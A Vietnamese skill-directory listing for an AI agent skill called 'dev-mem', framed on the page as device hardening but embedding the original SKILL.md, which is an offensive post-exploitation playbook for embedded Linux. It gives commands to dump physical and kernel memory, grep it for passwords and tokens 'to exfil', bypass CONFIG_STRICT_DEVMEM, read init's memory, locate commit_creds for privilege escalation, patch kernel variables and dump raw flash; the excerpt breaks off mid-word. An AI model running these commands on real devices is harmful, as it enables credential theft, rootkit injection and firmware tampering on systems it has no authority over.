Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14097

dev-mem

Skill này làm gì

Hướng dẫn này nói về các giao diện bộ nhớ và flash mức thấp trên Linux nhúng và cách hạn chế chúng. Dành cho nhóm bảo mật sản phẩm tăng cường bảo mật cho thiết bị của chính họ.

Khi nào nên dùng

  • ✓Khi một nhóm sản phẩm muốn kiểm tra xem bộ nhớ thô hoặc thiết bị flash có truy cập được với người dùng thông thường không.
  • ✓Khi một thiết bị dùng cài đặt kernel cho truy cập bộ nhớ cần được rà soát.
  • ✓Khi một bài kiểm thử được ủy quyền cần xác nhận rằng các giao diện mức thấp đã bị khóa.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Một người dùng thông thường trên thiết bị Linux nhúng của chúng tôi có thể truy cập bộ nhớ thô hoặc flash không? Vui lòng kiểm tra thiết bị thử nghiệm của chúng tôi.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent kiểm tra các node thiết bị tồn tại và quyền của chúng, rà soát cài đặt truy cập bộ nhớ của kernel, rồi báo cáo các giao diện cần khóa lại.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

/dev/mem, /dev/kmem, and MTD Runtime Patching

On embedded Linux, physical memory and raw flash are often accessible as character devices. Combined with /proc/kallsyms for kernel symbol resolution, these interfaces allow runtime rootkit injection, credential extraction, and live firmware modification without touching the filesystem.

Prerequisites

  • Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
  • Target runs Linux (confirms with uname -a).
  • Check access: ls -la /dev/mem /dev/kmem /dev/mtd*.
  • Tools: devmem2 (or /dev/mem via dd), mtd_debug, flashcp, busybox devmem.
# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null

# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd

Phase 1 — Physical Memory Read via /dev/mem

1a. devmem2 (most common embedded tool)

# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w

# Read byte at address
devmem2 0x10000000 b

# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF

# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32

1b. dd + /dev/mem

# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin

# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd

# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20

# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin

1c. Bypass CONFIG_STRICT_DEVMEM

Kernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.

# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"

# Bypass A: MMIO regions are always permitted — map peripheral registers
#   GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.

# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null

# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)

# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null

Phase 2 — Kernel Memory via /dev/kmem

/dev/kmem exposes virtual kernel address space. Available on older kernels (pre-3.7) or when compiled without CONFIG_DEVKMEM=n.

# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table

# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd

# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q    # quad-word read (64-bit)

2a. Extract kernel credentials from /proc/kcore

# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash    # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList

# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20

Phase 3 — MTD Raw Flash Access

MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux, /dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths for read/write access to firmware partitions.

3a. Partition enumeration

# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev:    size   erasesize  name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"

3b. Dump MTD partition

# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512

# Method B: mtd_debug read (preferred — han
Câu hỏi thường gặp

/dev/mem là gì?

Đó là file thiết bị cho phép truy cập trực tiếp vào bộ nhớ vật lý trên một số hệ thống Linux.

Biện pháp bảo vệ cần kiểm tra là gì?

Hướng dẫn nhắc đến cài đặt bộ nhớ thiết bị nghiêm ngặt trong kernel.

Vì sao truy cập flash đáng lo?

Ghi flash trực tiếp có thể thay đổi firmware mà không đi qua các kiểm tra cập nhật thông thường.

Chi tiết

Mô tả gốc của tác giả

Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14097
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự